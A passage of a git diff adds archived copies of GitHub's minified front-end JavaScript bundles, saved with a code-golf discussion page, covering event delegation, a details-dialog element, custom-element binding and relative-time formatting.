O6uEhIRf6ceEZqWXbXvFCXR74TJ/X9xhVOV3g==","app_assets_modules_github_insights_insights-query_ts":"sha512-HUmykKCpoMqBGXg4S+Nzyneods7BnBTFdmev9lHrzcNlM4NUFiMBAO6KDU4QInL0IUXdEuZZGUZv9f5jGvJoKQ==","app_assets_modules_github_insights_series-table_ts":"sha512-iMQOln09UQ5kc+1plprNbTA6oySd/N4Pv7pNm5C0x+9SU+O3dy1+amg2vZPGiXwk0wW5jGP5lIRKUFKF4YaNZA==","app_assets_modules_github_presence_presence-avatars_ts":"sha512-aO6oYeK9FLQSsM97Dv6ydNEidC1URILeRiPeecHGx1+eiq9VfY4RRORukAQU2o+ADwNj93pxyLIWh56EX1FBsQ==","app_assets_modules_github_behaviors_reload-after-polling-element_ts":"sha512-A4PhKT/oT4hmMoP9muRqfT0p0BESrLWM2Q055YxXW+1vjz8rHLBLMo0RWDhm5pVMfQ3ONZ3UB/DaGfAAKLMY0g==",app_assets_modules_github_dependencies_ts:"sha512-nt/ORE7b8HDLyl9kFMy/WSAJb5WY7Z7LnOJXxJ3nvpqgFW/0x6cWKlvpmLbWmE/Kavq1kyridh02ZMgxswaCIg==","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9":"sha512-wwilBKUArz/rX5pIRCf12Drd7eXVXs1ojNAHgi9psdcnAkO6+cB5qG1JeZN7rySsdjVfG9ROnrrjbjsoUIonsA==","app_assets_modules_github_graphs_network-graph-element_ts":"sha512-Tn2dyXwUODVBVNhSZCvNV+cpSmFs3I5Ac0cTiVt9ytytAtXbugUtI4wiHkvlob5EOaAkjhOXJ4fbn8CeEtaUBw==","app_assets_modules_github_localization_inline-machine-translation-element_ts":"sha512-IDhGCIIlRbHjsowkTJXs0sd/86Zcld1QMdi2paC9Asgm3ZaNFG7utv/8tiOendd16UL8atdCfNM9dZJzMn9PUQ=="},(()=>{var e={runtime:0};t.f.j=(a,n)=>{var s=t.o(e,a)?e[a]:void 0;if(s!==0)if(s)n.push(s[2]);else if(a!="runtime"){var p=new Promise((d,m)=>s=e[a]=[d,m]);n.push(s[2]=p);var r=t.p+t.u(a),i=new Error,l=u(d=>{if(t.o(e,a)&&(s=e[a],s!==0&&(e[a]=void 0),s)){var m=d&&(d.type==="load"?"missing":d.type),c=d&&d.target&&d.target.src;i.message="Loading chunk "+a+` failed. +(`+m+": "+c+")",i.name="ChunkLoadError",i.type=m,i.request=c,s[1](i)}},"loadingEnded");t.l(r,l,"chunk-"+a,a)}else e[a]=0},t.O.j=a=>e[a]===0;var o=u((a,n)=>{var[s,p,r]=n,i,l,d=0;if(s.some(c=>e[c]!==0)){for(i in p)t.o(p,i)&&(t.m[i]=p[i]);if(r)var m=r(t)}for(a&&a(n);d{var K=Object.defineProperty;var u=(W,L)=>K(W,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","node_modules_delegated-events_dist_index_js"],{59753:(W,L,H)=>{H.d(L,{f:()=>V,on:()=>z});function g(){if(!(this instanceof g))return new g;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}u(g,"SelectorSet");var x=window.document.documentElement,F=x.matches||x.webkitMatchesSelector||x.mozMatchesSelector||x.oMatchesSelector||x.msMatchesSelector;g.prototype.matchesSelector=function(e,r){return F.call(e,r)},g.prototype.querySelectorAll=function(e,r){return r.querySelectorAll(e)},g.prototype.indexes=[];var q=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"ID",selector:u(function(r){var n;if(n=r.match(q))return n[0].slice(1)},"matchIdSelector"),element:u(function(r){if(r.id)return[r.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"CLASS",selector:u(function(r){var n;if(n=r.match(P))return n[0].slice(1)},"matchClassSelector"),element:u(function(r){var n=r.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var B=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"TAG",selector:u(function(r){var n;if(n=r.match(B))return n[0].toUpperCase()},"matchTagSelector"),element:u(function(r){return[r.nodeName.toUpperCase()]},"getElementTagName")}),g.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var C;typeof window.Map=="function"?C=window.Map:C=function(){function e(){this.map={}}return u(e,"Map"),e.prototype.get=function(r){return this.map[r+" "]},e.prototype.set=function(r,n){this.map[r+" "]=n},e}();var I=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function O(e,r){e=e.slice(0).concat(e.default);var n=e.length,c,o,l,a,f=r,m,h,p=[];do if(I.exec(""),(l=I.exec(f))&&(f=l[3],l[2]||!f)){for(c=0;c3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];a||(a=new g,l[e]=a,document.addEventListener(e,k,o)),a.add(r,n)}u(z,"on");function G(e,r,n){var c=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];!a||(a.remove(r,n),!a.size&&(delete l[e],document.removeEventListener(e,k,o)))}u(G,"off");function V(e,r,n){return e.dispatchEvent(new CustomEvent(r,{bubbles:!0,cancelable:!0,detail:n}))}u(V,"fire")},14840:(W,L,H)=>{H.d(L,{Z:()=>R});const g="data-close-dialog",x=`[${g}]`;function F(s){let t=Array.from(s.querySelectorAll("[autofocus]")).filter(P)[0];t||(t=s,s.setAttribute("tabindex","-1")),t.focus()}u(F,"autofocus");function q(s){const t=s.currentTarget;t instanceof Element&&(s.key==="Escape"||s.key==="Esc"?(_(t,!1),s.stopPropagation()):s.key==="Tab"&&C(s))}u(q,"keydown");function P(s){return s.tabIndex>=0&&!s.disabled&&B(s)}u(P,"focusable");function B(s){return!s.hidden&&(!s.type||s.type!=="hidden")&&(s.offsetWidth>0||s.offsetHeight>0)}u(B,"visible");function C(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.querySelector("details-dialog");if(!t)return;s.preventDefault();const i=Array.from(t.querySelectorAll("*")).filter(P);if(i.length===0)return;const d=s.shiftKey?-1:1,E=t.getRootNode(),N=t.contains(E.activeElement)?E.activeElement:null;let k=d===-1?-1:0;if(N instanceof HTMLElement){const z=i.indexOf(N);z!==-1&&(k=z+d)}k<0?k=i.length-1:k=k%i.length,i[k].focus()}u(C,"restrictTabBehavior");function I(s){const t=s.querySelector("details-dialog");return t instanceof y?t.dispatchEvent(new CustomEvent("details-dialog-close",{bubbles:!0,cancelable:!0})):!0}u(I,"allowClosingDialog");function O(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.closest("details");!t||!t.hasAttribute("open")||I(t)||(s.preventDefault(),s.stopPropagation())}u(O,"onSummaryClick");function M(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(i instanceof y)if(t.hasAttribute("open")){const d="getRootNode"in i?i.getRootNode():document;d.activeElement instanceof HTMLElement&&b.set(i,{details:t,activeElement:d.activeElement}),F(i),t.addEventListener("keydown",q)}else{for(const E of i.querySelectorAll("form"))E.reset();const d=D(t,i);d&&d.focus(),t.removeEventListener("keydown",q)}}u(M,"toggle");function D(s,t){const i=b.get(t);return i&&i.activeElement instanceof HTMLElement?i.activeElement:s.querySelector("summary")}u(D,"findFocusElement");function _(s,t){t!==s.hasAttribute("open")&&(t?s.setAttribute("open",""):I(s)&&s.removeAttribute("open"))}u(_,"toggleDetails");function w(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(!(i instanceof y))return;const d=i.querySelector("include-fragment:not([src])");if(!d)return;const E=i.src;E!==null&&(d.addEventListener("loadend",()=>{t.hasAttribute("open")&&F(i)}),d.setAttribute("src",E),T(t))}u(w,"loadIncludeFragment");function A(s,t,i){T(s),t&&s.addEventListener("toggle",w,{once:!0}),t&&i&&s.addEventListener("mouseover",w,{once:!0})}u(A,"updateIncludeFragmentEventListeners");function T(s){s.removeEventListener("toggle",w),s.removeEventListener("mouseover",w)}u(T,"removeIncludeFragmentEventListeners");const b=new WeakMap;class y extends HTMLElement{static get CLOSE_ATTR(){return g}static get CLOSE_SELECTOR(){return x}constructor(){super();b.set(this,{details:null,activeElement:null}),this.addEventListener("click",function({target:t}){if(!(t instanceof Element))return;const i=t.closest("details");i&&t.closest(x)&&_(i,!1)})}get src(){return this.getAttribute("src")}set src(t){this.setAttribute("src",t||"")}get preload(){return this.hasAttribute("preload")}set preload(t){t?this.setAttribute("preload",""):this.removeAttribute("preload")}connectedCallback(){this.setAttribute("role","dialog"),this.setAttribute("aria-modal","true");const t=b.get(this);if(!t)return;const i=this.parentElement;if(!i)return;const d=i.querySelector("summary");d&&(d.hasAttribute("role")||d.setAttribute("role","button"),d.addEventListener("click",O,{capture:!0})),i.addEventListener("toggle",M),t.details=i,A(i,this.src,this.preload)}disconnectedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;if(!i)return;i.removeEventListener("toggle",M),T(i);const d=i.querySelector("summary");d&&d.removeEventListener("click",O,{capture:!0}),t.details=null}toggle(t){const i=b.get(this);if(!i)return;const{details:d}=i;!d||_(d,t)}static get observedAttributes(){return["src","preload"]}attributeChangedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;!i||A(i,this.src,this.preload)}}u(y,"DetailsDialogElement");const R=y;window.customElements.get("details-dialog")||(window.DetailsDialogElement=y,window.customElements.define("details-dialog",y))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-2fddb5aecbef.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js new file mode 100644 index 0000000..f0a9ad6 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var Z=Object.defineProperty;var a=(z,_)=>Z(z,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51","node_modules_delegated-events_dist_index_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c50","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"],{59753:(z,_,D)=>{D.d(_,{f:()=>o,on:()=>G});function p(){if(!(this instanceof p))return new p;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}a(p,"SelectorSet");var v=window.document.documentElement,P=v.matches||v.webkitMatchesSelector||v.mozMatchesSelector||v.oMatchesSelector||v.msMatchesSelector;p.prototype.matchesSelector=function(e,n){return P.call(e,n)},p.prototype.querySelectorAll=function(e,n){return n.querySelectorAll(e)},p.prototype.indexes=[];var y=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"ID",selector:a(function(n){var r;if(r=n.match(y))return r[0].slice(1)},"matchIdSelector"),element:a(function(n){if(n.id)return[n.id]},"getElementId")});var C=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"CLASS",selector:a(function(n){var r;if(r=n.match(C))return r[0].slice(1)},"matchClassSelector"),element:a(function(n){var r=n.className;if(r){if(typeof r=="string")return r.split(/\s/);if(typeof r=="object"&&"baseVal"in r)return r.baseVal.split(/\s/)}},"getElementClassNames")});var x=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"TAG",selector:a(function(n){var r;if(r=n.match(x))return r[0].toUpperCase()},"matchTagSelector"),element:a(function(n){return[n.nodeName.toUpperCase()]},"getElementTagName")}),p.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return a(e,"Map"),e.prototype.get=function(n){return this.map[n+" "]},e.prototype.set=function(n,r){this.map[n+" "]=r},e}();var S=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function w(e,n){e=e.slice(0).concat(e.default);var r=e.length,i,s,c,u,d=n,l,h,f=[];do if(S.exec(""),(c=S.exec(d))&&(d=c[3],c[2]||!d)){for(i=0;i3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];u||(u=new p,c[e]=u,document.addEventListener(e,V,s)),u.add(n,r)}a(G,"on");function t(e,n,r){var i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];!u||(u.remove(n,r),!u.size&&(delete c[e],document.removeEventListener(e,V,s)))}a(t,"off");function o(e,n,r){return e.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:!0,detail:r}))}a(o,"fire")},90420:(z,_,D)=>{D.d(_,{Lj:()=>T,Ih:()=>G,fA:()=>k,GO:()=>E});const p=new WeakSet;function v(t){p.add(t),t.shadowRoot&&P(t.shadowRoot),x(t),C(t.ownerDocument)}a(v,"bind");function P(t){x(t),C(t)}a(P,"bindShadow");const y=new WeakMap;function C(t=document){if(y.has(t))return y.get(t);let o=!1;const e=new MutationObserver(r=>{for(const i of r)if(i.type==="attributes"&&i.target instanceof Element)w(i.target);else if(i.type==="childList"&&i.addedNodes.length)for(const s of i.addedNodes)s instanceof Element&&x(s)});e.observe(t,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const n={get closed(){return o},unsubscribe(){o=!0,y.delete(t),e.disconnect()}};return y.set(t,n),n}a(C,"listenForBind");function x(t){for(const o of t.querySelectorAll("[data-action]"))w(o);t instanceof Element&&t.hasAttribute("data-action")&&w(t)}a(x,"bindElements");function A(t){const o=t.currentTarget;for(const e of S(o))if(t.type===e.type){const n=o.closest(e.tag);p.has(n)&&typeof n[e.method]=="function"&&n[e.method](t);const r=o.getRootNode();if(r instanceof ShadowRoot&&p.has(r.host)&&r.host.matches(e.tag)){const i=r.host;typeof i[e.method]=="function"&&i[e.method](t)}}}a(A,"handleEvent");function*S(t){for(const o of(t.getAttribute("data-action")||"").trim().split(/\s+/)){const e=o.lastIndexOf(":"),n=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,e),tag:o.slice(e+1,n),method:o.slice(n+1)||"handleEvent"}}}a(S,"bindings");function w(t){for(const o of S(t))t.addEventListener(o.type,A)}a(w,"bindActions");function W(t,o){const e=t.tagName.toLowerCase();if(t.shadowRoot){for(const n of t.shadowRoot.querySelectorAll(`[data-target~="${e}.${o}"]`))if(!n.closest(e))return n}for(const n of t.querySelectorAll(`[data-target~="${e}.${o}"]`))if(n.closest(e)===t)return n}a(W,"findTarget");function M(t,o){const e=t.tagName.toLowerCase(),n=[];if(t.shadowRoot)for(const r of t.shadowRoot.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)||n.push(r);for(const r of t.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)===t&&n.push(r);return n}a(M,"findTargets");function k(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return W(this,o)}})}a(k,"target");function E(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return M(this,o)}})}a(E,"targets");function j(t){const o=t.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[t.name]=t,window.customElements.define(o,t))}a(j,"register");function O(t){for(const o of t.querySelectorAll("template[data-shadowroot]"))o.parentElement===t&&t.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}a(O,"autoShadowRoot");const m=new WeakMap;function T(t,o){m.has(t)||m.set(t,[]),m.get(t).push(o)}a(T,"attr");function N(t,o){o||(o=R(Object.getPrototypeOf(t)));for(const e of o){const n=t[e],r=F(e);let i={configurable:!0,get(){return this.getAttribute(r)||""},set(s){this.setAttribute(r,s||"")}};typeof n=="number"?i={configurable:!0,get(){return Number(this.getAttribute(r)||0)},set(s){this.setAttribute(r,s)}}:typeof n=="boolean"&&(i={configurable:!0,get(){return this.hasAttribute(r)},set(s){this.toggleAttribute(r,s)}}),Object.defineProperty(t,e,i),e in t&&!t.hasAttribute(r)&&i.set.call(t,n)}}a(N,"initializeAttrs");function R(t){const o=new Set;let e=t;for(;e&&e!==HTMLElement;){const n=m.get(e)||[];for(const r of n)o.add(r);e=Object.getPrototypeOf(e)}return o}a(R,"getAttrNames");function F(t){return`data-${t.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}a(F,"attrToAttributeName");function U(t){let o=t.observedAttributes||[];Object.defineProperty(t,"observedAttributes",{configurable:!0,get(){return[...R(t.prototype)].map(F).concat(o)},set(e){o=e}})}a(U,"defineObservedAttributes");const L=new WeakSet;function $(t,o){t.toggleAttribute("data-catalyst",!0),customElements.upgrade(t),L.add(t),O(t),N(t),v(t),o&&o.call(t),t.shadowRoot&&P(t.shadowRoot)}a($,"initializeInstance");function B(t){U(t),j(t)}a(B,"initializeClass");function V(t){return L.has(t)}a(V,"initialized");function G(t){const o=t.prototype.connectedCallback;t.prototype.connectedCallback=function(){$(this,o)},B(t)}a(G,"controller")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51-edfd57e08401.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js new file mode 100644 index 0000000..c45b168 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var B=Object.defineProperty;var i=(I,_)=>B(I,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js"],{90420:(I,_,L)=>{L.d(_,{Lj:()=>Y,Ih:()=>T,fA:()=>P,GO:()=>U});const F=new WeakSet;function v(e){F.add(e),e.shadowRoot&&g(e.shadowRoot),p(e),b(e.ownerDocument)}i(v,"bind");function g(e){p(e),b(e)}i(g,"bindShadow");const w=new WeakMap;function b(e=document){if(w.has(e))return w.get(e);let o=!1;const a=new MutationObserver(m=>{for(const n of m)if(n.type==="attributes"&&n.target instanceof Element)M(n.target);else if(n.type==="childList"&&n.addedNodes.length)for(const t of n.addedNodes)t instanceof Element&&p(t)});a.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const l={get closed(){return o},unsubscribe(){o=!0,w.delete(e),a.disconnect()}};return w.set(e,l),l}i(b,"listenForBind");function p(e){for(const o of e.querySelectorAll("[data-action]"))M(o);e instanceof Element&&e.hasAttribute("data-action")&&M(e)}i(p,"bindElements");function z(e){const o=e.currentTarget;for(const a of D(o))if(e.type===a.type){const l=o.closest(a.tag);F.has(l)&&typeof l[a.method]=="function"&&l[a.method](e);const m=o.getRootNode();if(m instanceof ShadowRoot&&F.has(m.host)&&m.host.matches(a.tag)){const n=m.host;typeof n[a.method]=="function"&&n[a.method](e)}}}i(z,"handleEvent");function*D(e){for(const o of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const a=o.lastIndexOf(":"),l=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,a),tag:o.slice(a+1,l),method:o.slice(l+1)||"handleEvent"}}}i(D,"bindings");function M(e){for(const o of D(e))e.addEventListener(o.type,z)}i(M,"bindActions");function N(e,o){const a=e.tagName.toLowerCase();if(e.shadowRoot){for(const l of e.shadowRoot.querySelectorAll(`[data-target~="${a}.${o}"]`))if(!l.closest(a))return l}for(const l of e.querySelectorAll(`[data-target~="${a}.${o}"]`))if(l.closest(a)===e)return l}i(N,"findTarget");function q(e,o){const a=e.tagName.toLowerCase(),l=[];if(e.shadowRoot)for(const m of e.shadowRoot.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)||l.push(m);for(const m of e.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)===e&&l.push(m);return l}i(q,"findTargets");function P(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return N(this,o)}})}i(P,"target");function U(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return q(this,o)}})}i(U,"targets");function E(e){const o=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[e.name]=e,window.customElements.define(o,e))}i(E,"register");function C(e){for(const o of e.querySelectorAll("template[data-shadowroot]"))o.parentElement===e&&e.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}i(C,"autoShadowRoot");const A=new WeakMap;function Y(e,o){A.has(e)||A.set(e,[]),A.get(e).push(o)}i(Y,"attr");function R(e,o){o||(o=S(Object.getPrototypeOf(e)));for(const a of o){const l=e[a],m=x(a);let n={configurable:!0,get(){return this.getAttribute(m)||""},set(t){this.setAttribute(m,t||"")}};typeof l=="number"?n={configurable:!0,get(){return Number(this.getAttribute(m)||0)},set(t){this.setAttribute(m,t)}}:typeof l=="boolean"&&(n={configurable:!0,get(){return this.hasAttribute(m)},set(t){this.toggleAttribute(m,t)}}),Object.defineProperty(e,a,n),a in e&&!e.hasAttribute(m)&&n.set.call(e,l)}}i(R,"initializeAttrs");function S(e){const o=new Set;let a=e;for(;a&&a!==HTMLElement;){const l=A.get(a)||[];for(const m of l)o.add(m);a=Object.getPrototypeOf(a)}return o}i(S,"getAttrNames");function x(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}i(x,"attrToAttributeName");function H(e){let o=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...S(e.prototype)].map(x).concat(o)},set(a){o=a}})}i(H,"defineObservedAttributes");const y=new WeakSet;function h(e,o){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),y.add(e),C(e),R(e),v(e),o&&o.call(e),e.shadowRoot&&g(e.shadowRoot)}i(h,"initializeInstance");function O(e){H(e),E(e)}i(O,"initializeClass");function Z(e){return y.has(e)}i(Z,"initialized");function T(e){const o=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){h(this,o)},O(e)}i(T,"controller")},75329:(I,_,L)=>{L.d(_,{nJ:()=>T});const F=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],v=["January","February","March","April","May","June","July","August","September","October","November","December"];function g(n){return`0${n}`.slice(-2)}i(g,"pad");function w(n,t){const r=n.getDay(),s=n.getDate(),c=n.getMonth(),u=n.getFullYear(),d=n.getHours(),f=n.getMinutes(),$=n.getSeconds();return t.replace(/%([%aAbBcdeHIlmMpPSwyYZz])/g,function(W){let k;switch(W[1]){case"%":return"%";case"a":return F[r].slice(0,3);case"A":return F[r];case"b":return v[c].slice(0,3);case"B":return v[c];case"c":return n.toString();case"d":return g(s);case"e":return String(s);case"H":return g(d);case"I":return g(w(n,"%l"));case"l":return String(d===0||d===12?12:(d+12)%12);case"m":return g(c+1);case"M":return g(f);case"p":return d>11?"PM":"AM";case"P":return d>11?"pm":"am";case"S":return g($);case"w":return String(r);case"y":return g(u%100);case"Y":return String(u);case"Z":return k=n.toString().match(/\((\w+)\)$/),k?k[1]:"";case"z":return k=n.toString().match(/\w([+-]\d\d\d\d) /),k?k[1]:""}return""})}i(w,"strftime");function b(n){let t;return function(){if(t)return t;if("Intl"in window)try{return t=new Intl.DateTimeFormat(void 0,n),t}catch(r){if(!(r instanceof RangeError))throw r}}}i(b,"makeFormatter");let p=null;const z=b({day:"numeric",month:"short"});function D(){if(p!==null)return p;const n=z();return n?(p=!!n.format(new Date(0)).match(/^\d/),p):!1}i(D,"isDayFirst");let M=null;const N=b({day:"numeric",month:"short",year:"numeric"});function q(){if(M!==null)return M;const n=N();return n?(M=!!n.format(new Date(0)).match(/\d,/),M):!0}i(q,"isYearSeparator");function P(n){return new Date().getUTCFullYear()===n.getUTCFullYear()}i(P,"isThisYear");function U(n,t){if("Intl"in window&&"RelativeTimeFormat"in window.Intl)try{return new Intl.RelativeTimeFormat(n,t)}catch(r){if(!(r instanceof RangeError))throw r}}i(U,"makeRelativeFormat");function E(n){const t=n.closest("[lang]");return t instanceof HTMLElement&&t.lang?t.lang:"default"}i(E,"localeFromElement");const C=new WeakMap;class A extends HTMLElement{static get observedAttributes(){return["datetime","day","format","lang","hour","minute","month","second","title","weekday","year","time-zone-name"]}connectedCallback(){const t=this.getFormattedTitle();t&&!this.hasAttribute("title")&&this.setAttribute("title",t);const r=this.getFormattedDate();r&&(this.textContent=r)}attributeChangedCallback(t,r,s){const c=this.getFormattedTitle();if(t==="datetime"){const $=Date.parse(s);isNaN($)?C.delete(this):C.set(this,new Date($))}const u=this.getFormattedTitle(),d=this.getAttribute("title");t!=="title"&&u&&(!d||d===c)&&this.setAttribute("title",u);const f=this.getFormattedDate();f&&(this.textContent=f)}get date(){return C.get(this)}getFormattedTitle(){const t=this.date;if(!t)return;const r=Y();if(r)return r.format(t);try{return t.toLocaleString()}catch(s){if(s instanceof RangeError)return t.toString();throw s}}getFormattedDate(){}}i(A,"ExtendedTimeElement");const Y=b({day:"numeric",month:"short",year:"numeric",hour:"numeric",minute:"2-digit",timeZoneName:"short"}),R=new WeakMap;class S extends A{attributeChangedCallback(t,r,s){(t==="hour"||t==="minute"||t==="second"||t==="time-zone-name")&&R.delete(this),super.attributeChangedCallback(t,r,s)}getFormattedDate(){const t=this.date;if(!t)return;const r=x(this,t)||"",s=H(this,t)||"";return`${r} ${s}`.trim()}}i(S,"LocalTimeElement");function x(n,t){const r={weekday:{short:"%a",long:"%A"},day:{numeric:"%e","2-digit":"%d"},month:{short:"%b",long:"%B"},year:{numeric:"%Y","2-digit":"%y"}};let s=D()?"weekday day month year":"weekday month day, year";for(const c in r){const u=r[c][n.getAttribute(c)||""];s=s.replace(c,u||"")}return s=s.replace(/(\s,)|(,\s$)/,""),w(t,s).replace(/\s+/," ").trim()}i(x,"formatDate");function H(n,t){const r={},s=n.getAttribute("hour");(s==="numeric"||s==="2-digit")&&(r.hour=s);const c=n.getAttribute("minute");(c==="numeric"||c==="2-digit")&&(r.minute=c);const u=n.getAttribute("second");(u==="numeric"||u==="2-digit")&&(r.second=u);const d=n.getAttribute("time-zone-name");if((d==="short"||d==="long")&&(r.timeZoneName=d),Object.keys(r).length===0)return;let f=R.get(n);f||(f=b(r),R.set(n,f));const $=f();if($)return $.format(t);{const W=r.second?"%H:%M:%S":"%H:%M";return w(t,W)}}i(H,"formatTime"),window.customElements.get("local-time")||(window.LocalTimeElement=S,window.customElements.define("local-time",S));class y{constructor(t,r){this.date=t,this.locale=r}toString(){const t=this.timeElapsed();if(t)return t;{const r=this.timeAhead();return r||`on ${this.formatDate()}`}}timeElapsed(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeAgoFromMs(t):null}timeAhead(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeUntil():null}timeAgo(){const t=new Date().getTime()-this.date.getTime();return this.timeAgoFromMs(t)}timeAgoFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return t<0?h(this.locale,0,"second"):r<10?h(this.locale,0,"second"):r<45?h(this.locale,-r,"second"):r<90?h(this.locale,-s,"minute"):s<45?h(this.locale,-s,"minute"):s<90?h(this.locale,-c,"hour"):c<24?h(this.locale,-c,"hour"):c<36?h(this.locale,-u,"day"):u<30?h(this.locale,-u,"day"):d<18?h(this.locale,-d,"month"):h(this.locale,-f,"year")}microTimeAgo(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return s<1?"1m":s<60?`${s}m`:c<24?`${c}h`:u<365?`${u}d`:`${f}y`}timeUntil(){const t=this.date.getTime()-new Date().getTime();return this.timeUntilFromMs(t)}timeUntilFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return 